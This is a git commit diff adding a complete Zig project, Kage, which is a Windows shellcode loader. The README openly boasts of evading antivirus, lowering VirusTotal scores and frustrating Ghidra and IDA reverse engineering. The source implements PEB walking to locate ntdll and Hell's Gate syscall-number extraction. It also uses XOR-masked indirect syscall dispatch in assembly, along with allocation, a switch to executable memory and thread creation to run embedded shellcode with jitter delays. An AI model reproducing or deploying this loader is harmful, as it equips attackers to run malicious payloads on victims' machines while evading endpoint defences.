fixes
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
zig-out/
|
||||
.zig-cache/
|
||||
*.exe
|
||||
*.pdb
|
||||
docs/index.md
|
||||
valak.bin
|
||||
*.bin
|
||||
@@ -0,0 +1,56 @@
|
||||
# Kage <sub>影</sub>
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/Kage.png" alt="Kage">
|
||||
</p>
|
||||
|
||||
> 影に潜む
|
||||
|
||||
Shellcode loader using indirect syscalls. Self-injection, jitter between steps.
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
# 1. place your shellcode as valak.bin in this directory
|
||||
# 2. embed it into the source:
|
||||
python3 embed.py
|
||||
# 3. compile:
|
||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/kage.exe
|
||||
```
|
||||
|
||||
Single binary output, no external files needed at runtime.
|
||||
|
||||
## Why Zig
|
||||
|
||||
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Means less for AV to see.
|
||||
|
||||
Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores.
|
||||
|
||||
Ghidra struggles with Zig binaries (there's an open bug for it). IDA doesn't properly support it either. Makes reverse engineering harder.
|
||||
|
||||
## 仕掛け
|
||||
|
||||
- **影探し** — ntdll via PEB walk (`gs:[0x60]`)
|
||||
- **闇渡り** — indirect syscall dispatch
|
||||
- **血判** — Hell's Gate SSN resolution
|
||||
- **影纏い** — XOR-encoded asm dispatch globals
|
||||
|
||||
For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
|
||||
|
||||
## Layout
|
||||
|
||||
```
|
||||
src/
|
||||
├── main.zig entry, execution
|
||||
├── win32.zig types & externs
|
||||
├── pe.zig PE parser, export resolver
|
||||
├── syscall.zig Hell's Gate extraction + PEB ntdll finder
|
||||
├── hells_gate.s asm dispatch (XOR globals)
|
||||
build.zig
|
||||
embed.py embeds valak.bin into main.zig
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 898 KiB |
@@ -0,0 +1,35 @@
|
||||
const std = @import("std");
|
||||
|
||||
pub fn build(b: *std.Build) void {
|
||||
const target = b.standardTargetOptions(.{ .default_target = .{
|
||||
.cpu_arch = .x86_64,
|
||||
.os_tag = .windows,
|
||||
} });
|
||||
const optimize = b.standardOptimizeOption(.{});
|
||||
|
||||
const module = b.createModule(.{
|
||||
.root_source_file = b.path("src/main.zig"),
|
||||
.target = target,
|
||||
.optimize = optimize,
|
||||
});
|
||||
|
||||
const exe = b.addExecutable(.{
|
||||
.name = "kage",
|
||||
.root_module = module,
|
||||
});
|
||||
|
||||
module.addAssemblyFile(b.path("src/hells_gate.s"));
|
||||
exe.subsystem = .Console;
|
||||
|
||||
b.installArtifact(exe);
|
||||
|
||||
const run_cmd = b.addRunArtifact(exe);
|
||||
run_cmd.step.dependOn(b.getInstallStep());
|
||||
|
||||
if (b.args) |args| {
|
||||
run_cmd.addArgs(args);
|
||||
}
|
||||
|
||||
const run_step = b.step("run", "Run the loader");
|
||||
run_step.dependOn(&run_cmd.step);
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
with open("valak.bin", "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
lines = []
|
||||
for i in range(0, len(data), 12):
|
||||
chunk = data[i:i+12]
|
||||
lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
|
||||
|
||||
with open("src/main.zig") as f:
|
||||
content = f.read()
|
||||
|
||||
start = content.index("const shellcode = [_]u8{")
|
||||
end = content.index("};\n\nfn", start) + 3
|
||||
new_block = "const shellcode = [_]u8{\n" + "\n".join(lines) + "\n};"
|
||||
content = content[:start] + new_block + content[end:]
|
||||
|
||||
with open("src/main.zig", "w") as f:
|
||||
f.write(content)
|
||||
|
||||
print(f"Embedded {len(data)} bytes")
|
||||
@@ -0,0 +1,25 @@
|
||||
.intel_syntax noprefix
|
||||
.data
|
||||
wSystemCallEnc: .long 0
|
||||
qSyscallInsAddressEnc: .quad 0
|
||||
wMask: .long 0xDEADBEEF
|
||||
qMask: .quad 0xDEADBEEFDEADBEEF
|
||||
|
||||
.text
|
||||
.global hells_gate
|
||||
.global hell_descent
|
||||
|
||||
hells_gate:
|
||||
xor ecx, dword ptr [rip + wMask]
|
||||
mov dword ptr [rip + wSystemCallEnc], ecx
|
||||
xor rdx, qword ptr [rip + qMask]
|
||||
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
|
||||
ret
|
||||
|
||||
hell_descent:
|
||||
mov r10, rcx
|
||||
mov eax, dword ptr [rip + wSystemCallEnc]
|
||||
xor eax, dword ptr [rip + wMask]
|
||||
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
|
||||
xor r11, qword ptr [rip + qMask]
|
||||
jmp r11
|
||||
+118
@@ -0,0 +1,118 @@
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
|
||||
const print = std.debug.print;
|
||||
|
||||
var g_sys: syscall.Syscalls = undefined;
|
||||
|
||||
extern fn hells_gate(syscall_number: u32, address: usize) void;
|
||||
extern fn hell_descent(arg1: usize, arg2: usize, arg3: usize, arg4: usize, arg5: usize, arg6: usize, arg7: usize, arg8: usize, arg9: usize, arg10: usize, arg11: usize) win.NTSTATUS;
|
||||
|
||||
fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n", args); }
|
||||
fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); }
|
||||
fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); }
|
||||
|
||||
const shellcode = [_]u8{
|
||||
// paste your shellcode bytes here
|
||||
};
|
||||
|
||||
fn banner() void {
|
||||
print(
|
||||
\\ Kage — shellcode loader
|
||||
\\ Author: JYenn
|
||||
\\
|
||||
, .{});
|
||||
}
|
||||
|
||||
pub fn main() void {
|
||||
banner();
|
||||
|
||||
if (shellcode.len == 0) {
|
||||
err("no shellcode embedded", .{});
|
||||
return;
|
||||
}
|
||||
|
||||
g_sys = syscall.Syscalls.resolve() orelse {
|
||||
err("failed to resolve syscalls", .{});
|
||||
return;
|
||||
};
|
||||
ok("syscalls resolved via PEB walk", .{});
|
||||
|
||||
const current_process: win.HANDLE = win.NtCurrentProcess;
|
||||
var base_addr: ?*anyopaque = null;
|
||||
var size: win.SIZE_T = shellcode.len;
|
||||
|
||||
const status = ntAllocateVirtualMemory(current_process, &base_addr, 0, &size, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_READWRITE);
|
||||
if (!win.NT_SUCCESS(status)) {
|
||||
err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))});
|
||||
return;
|
||||
}
|
||||
ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) });
|
||||
jitter(10, 50);
|
||||
|
||||
const buffer: [*]u8 = @ptrCast(base_addr);
|
||||
@memcpy(buffer[0..shellcode.len], &shellcode);
|
||||
info("shellcode loaded ({d} bytes)", .{shellcode.len});
|
||||
jitter(10, 30);
|
||||
|
||||
var old_protect: win.ULONG = 0;
|
||||
_ = ntProtectVirtualMemory(current_process, &base_addr, &size, win.PAGE_EXECUTE_READ, &old_protect);
|
||||
ok("memory protected to RX", .{});
|
||||
jitter(5, 15);
|
||||
|
||||
var thread_handle: win.HANDLE = undefined;
|
||||
_ = ntCreateThreadEx(&thread_handle, win.THREAD_ALL_ACCESS, null, current_process, @ptrFromInt(@intFromPtr(base_addr)), null, 0, 0, 0, 0, null);
|
||||
ok("thread created, waiting for completion", .{});
|
||||
|
||||
_ = ntWaitForSingleObject(thread_handle, false, null);
|
||||
}
|
||||
|
||||
fn ntAllocateVirtualMemory(process: win.HANDLE, base: *?*anyopaque, zero: win.ULONG_PTR, size: *win.SIZE_T, alloc: win.ULONG, prot: win.ULONG) win.NTSTATUS {
|
||||
const entry = g_sys.NtAllocateVirtualMemory;
|
||||
hells_gate(entry.number, @intFromPtr(entry.gadget));
|
||||
return hell_descent(
|
||||
@intFromPtr(process), @intFromPtr(base), zero, @intFromPtr(size), alloc, prot,
|
||||
0, 0, 0, 0, 0,
|
||||
);
|
||||
}
|
||||
|
||||
fn ntProtectVirtualMemory(process: win.HANDLE, base: *?*anyopaque, size: *win.SIZE_T, new_prot: win.ULONG, old_prot: *win.ULONG) win.NTSTATUS {
|
||||
const entry = g_sys.NtProtectVirtualMemory;
|
||||
hells_gate(entry.number, @intFromPtr(entry.gadget));
|
||||
return hell_descent(
|
||||
@intFromPtr(process), @intFromPtr(base), @intFromPtr(size), new_prot, @intFromPtr(old_prot),
|
||||
0, 0, 0, 0, 0, 0,
|
||||
);
|
||||
}
|
||||
|
||||
fn ntCreateThreadEx(handle: *win.HANDLE, access: win.ACCESS_MASK, attrs: ?*win.OBJECT_ATTRIBUTES, process: win.HANDLE, start: ?*anyopaque, arg: ?*anyopaque, flags: win.ULONG, zero: win.SIZE_T, stack: win.SIZE_T, max_stack: win.SIZE_T, list: ?*anyopaque) win.NTSTATUS {
|
||||
const entry = g_sys.NtCreateThreadEx;
|
||||
hells_gate(entry.number, @intFromPtr(entry.gadget));
|
||||
return hell_descent(
|
||||
@intFromPtr(handle), access, @intFromPtr(attrs), @intFromPtr(process), @intFromPtr(start),
|
||||
@intFromPtr(arg), flags, zero, stack, max_stack, @intFromPtr(list),
|
||||
);
|
||||
}
|
||||
|
||||
fn ntWaitForSingleObject(handle: win.HANDLE, alertable: bool, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS {
|
||||
const entry = g_sys.NtWaitForSingleObject;
|
||||
hells_gate(entry.number, @intFromPtr(entry.gadget));
|
||||
return hell_descent(
|
||||
@intFromPtr(handle), @intFromBool(alertable), @intFromPtr(timeout),
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
);
|
||||
}
|
||||
|
||||
fn ntDelayExecution(alertable: bool, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
|
||||
const entry = g_sys.NtDelayExecution;
|
||||
hells_gate(entry.number, @intFromPtr(entry.gadget));
|
||||
return hell_descent(@intFromBool(alertable), @intFromPtr(interval), 0, 0, 0, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
fn jitter(min_ms: u64, max_ms: u64) void {
|
||||
var interval = win.LARGE_INTEGER{
|
||||
.QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))),
|
||||
};
|
||||
_ = ntDelayExecution(false, &interval);
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
const std = @import("std");
|
||||
|
||||
pub const IMAGE_DOS_HEADER = extern struct {
|
||||
e_magic: u16,
|
||||
e_cblp: u16,
|
||||
e_cp: u16,
|
||||
e_crlc: u16,
|
||||
e_cparhdr: u16,
|
||||
e_minalloc: u16,
|
||||
e_maxalloc: u16,
|
||||
e_ss: u16,
|
||||
e_sp: u16,
|
||||
e_csum: u16,
|
||||
e_ip: u16,
|
||||
e_cs: u16,
|
||||
e_lfarlc: u16,
|
||||
e_ovno: u16,
|
||||
e_res: [4]u16,
|
||||
e_oemid: u16,
|
||||
e_oeminfo: u16,
|
||||
e_res2: [10]u16,
|
||||
e_lfanew: i32,
|
||||
};
|
||||
|
||||
pub const IMAGE_FILE_HEADER = extern struct {
|
||||
Machine: u16,
|
||||
NumberOfSections: u16,
|
||||
TimeDateStamp: u32,
|
||||
PointerToSymbolTable: u32,
|
||||
NumberOfSymbols: u32,
|
||||
SizeOfOptionalHeader: u16,
|
||||
Characteristics: u16,
|
||||
};
|
||||
|
||||
pub const IMAGE_DATA_DIRECTORY = extern struct {
|
||||
VirtualAddress: u32,
|
||||
Size: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
|
||||
Magic: u16,
|
||||
MajorLinkerVersion: u8,
|
||||
MinorLinkerVersion: u8,
|
||||
SizeOfCode: u32,
|
||||
SizeOfInitializedData: u32,
|
||||
SizeOfUninitializedData: u32,
|
||||
AddressOfEntryPoint: u32,
|
||||
BaseOfCode: u32,
|
||||
ImageBase: u64,
|
||||
SectionAlignment: u32,
|
||||
FileAlignment: u32,
|
||||
MajorOperatingSystemVersion: u16,
|
||||
MinorOperatingSystemVersion: u16,
|
||||
MajorImageVersion: u16,
|
||||
MinorImageVersion: u16,
|
||||
MajorSubsystemVersion: u16,
|
||||
MinorSubsystemVersion: u16,
|
||||
Win32VersionValue: u32,
|
||||
SizeOfImage: u32,
|
||||
SizeOfHeaders: u32,
|
||||
CheckSum: u32,
|
||||
Subsystem: u16,
|
||||
DllCharacteristics: u16,
|
||||
SizeOfStackReserve: u64,
|
||||
SizeOfStackCommit: u64,
|
||||
SizeOfHeapReserve: u64,
|
||||
SizeOfHeapCommit: u64,
|
||||
LoaderFlags: u32,
|
||||
NumberOfRvaAndSizes: u32,
|
||||
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
|
||||
};
|
||||
|
||||
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
};
|
||||
|
||||
const IMAGE_NT_HEADERS64 = extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: IMAGE_FILE_HEADER,
|
||||
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
|
||||
};
|
||||
|
||||
pub fn findExport(dll_base: [*]u8, name: []const u8) ?[*]u8 {
|
||||
const dos = @as(*IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base)));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt_hdrs = @as(*IMAGE_NT_HEADERS64, @ptrCast(@alignCast(dll_base + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt_hdrs.Signature != 0x00004550) return null;
|
||||
|
||||
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
|
||||
if (export_dir.VirtualAddress == 0) return null;
|
||||
|
||||
const exp = @as(*IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(dll_base + export_dir.VirtualAddress)));
|
||||
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames)));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions)));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals)));
|
||||
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames) : (i += 1) {
|
||||
const export_name_ptr = @as([*:0]u8, @ptrCast(dll_base + names[i]));
|
||||
const export_name = std.mem.sliceTo(export_name_ptr, 0);
|
||||
|
||||
if (std.mem.eql(u8, export_name, name)) {
|
||||
const rva = funcs[ords[i]];
|
||||
return dll_base + rva;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
const std = @import("std");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
pub const Entry = struct {
|
||||
number: u32,
|
||||
gadget: *anyopaque,
|
||||
};
|
||||
|
||||
pub const Syscalls = struct {
|
||||
NtAllocateVirtualMemory: Entry,
|
||||
NtProtectVirtualMemory: Entry,
|
||||
NtCreateThreadEx: Entry,
|
||||
NtWaitForSingleObject: Entry,
|
||||
NtDelayExecution: Entry,
|
||||
|
||||
pub fn resolve() ?Syscalls {
|
||||
const ntdll = findNtdll() orelse return null;
|
||||
const names = [_][]const u8{
|
||||
"NtAllocateVirtualMemory",
|
||||
"NtProtectVirtualMemory",
|
||||
"NtCreateThreadEx",
|
||||
"NtWaitForSingleObject",
|
||||
"NtDelayExecution",
|
||||
};
|
||||
var result: Syscalls = undefined;
|
||||
inline for (names) |name| {
|
||||
const entry = extractEntry(ntdll, name) orelse return null;
|
||||
@field(result, name) = entry;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
};
|
||||
|
||||
fn findNtdll() ?[*]u8 {
|
||||
var peb: usize = undefined;
|
||||
asm volatile ("movq %%gs:0x60, %[r]"
|
||||
: [r] "=r" (peb),
|
||||
);
|
||||
const ldr = @as(*align(1) usize, @ptrFromInt(peb + 0x18)).*;
|
||||
const head = ldr + 0x10;
|
||||
var entry = @as(*align(1) usize, @ptrFromInt(head)).*;
|
||||
while (entry != head) : (entry = @as(*align(1) usize, @ptrFromInt(entry)).*) {
|
||||
const base = @as(*align(1) usize, @ptrFromInt(entry + 0x30)).*;
|
||||
if (base == 0) continue;
|
||||
const dos = @as(*align(1) extern struct { pad: [0x3C]u8, e_lfanew: u32 }, @ptrFromInt(base));
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
||||
}, @ptrFromInt(base + @as(usize, @intCast(dos.e_lfanew))));
|
||||
if (nt.Signature != 0x00004550) continue;
|
||||
const exp_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
if (exp_dir.VirtualAddress == 0) continue;
|
||||
const exp = @as(*align(1) extern struct { Characteristics: u32, pad: [8]u8, Name: u32, pad2: [40]u8 }, @ptrFromInt(base + @as(usize, @intCast(exp_dir.VirtualAddress))));
|
||||
const name = @as([*:0]const u8, @ptrFromInt(base + @as(usize, @intCast(exp.Name))));
|
||||
if (std.mem.eql(u8, std.mem.sliceTo(name, 0), "ntdll.dll")) return @ptrFromInt(base);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
fn extractEntry(ntdll: [*]u8, name: []const u8) ?Entry {
|
||||
const addr = pe.findExport(ntdll, name) orelse return null;
|
||||
const bytes = @as([*]u8, @ptrCast(addr));
|
||||
|
||||
if (bytes[0] != 0x4C or bytes[1] != 0x8B or bytes[2] != 0xD1) return null;
|
||||
if (bytes[3] != 0xB8) return null;
|
||||
const number = std.mem.readInt(u32, bytes[4..8], .little);
|
||||
|
||||
var gadget: ?*anyopaque = null;
|
||||
var i: usize = 0;
|
||||
while (i < 64) : (i += 1) {
|
||||
if (bytes[i] == 0x0F and bytes[i + 1] == 0x05 and bytes[i + 2] == 0xC3) {
|
||||
gadget = @ptrFromInt(@intFromPtr(addr) + i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (gadget == null) return null;
|
||||
|
||||
return Entry{ .number = number, .gadget = gadget.? };
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
pub const HANDLE = *anyopaque;
|
||||
pub const NTSTATUS = i32;
|
||||
pub const ULONG = u32;
|
||||
pub const ULONG_PTR = usize;
|
||||
pub const ACCESS_MASK = u32;
|
||||
pub const SIZE_T = usize;
|
||||
pub const OBJECT_ATTRIBUTES = extern struct { Length: ULONG, RootDirectory: ?HANDLE, ObjectName: *anyopaque, Attributes: ULONG, SecurityDescriptor: ?*anyopaque, SecurityQualityOfService: ?*anyopaque };
|
||||
|
||||
pub const MEM_COMMIT: ULONG = 0x00001000;
|
||||
pub const MEM_RESERVE: ULONG = 0x00002000;
|
||||
pub const PAGE_READWRITE: ULONG = 0x04;
|
||||
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
|
||||
pub const THREAD_ALL_ACCESS: ACCESS_MASK = 0x1FFFFF;
|
||||
pub const NtCurrentProcess: HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1))));
|
||||
pub const LARGE_INTEGER = extern struct { QuadPart: i64 };
|
||||
|
||||
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
|
||||
return status >= 0;
|
||||
}
|
||||
Reference in New Issue
Block a user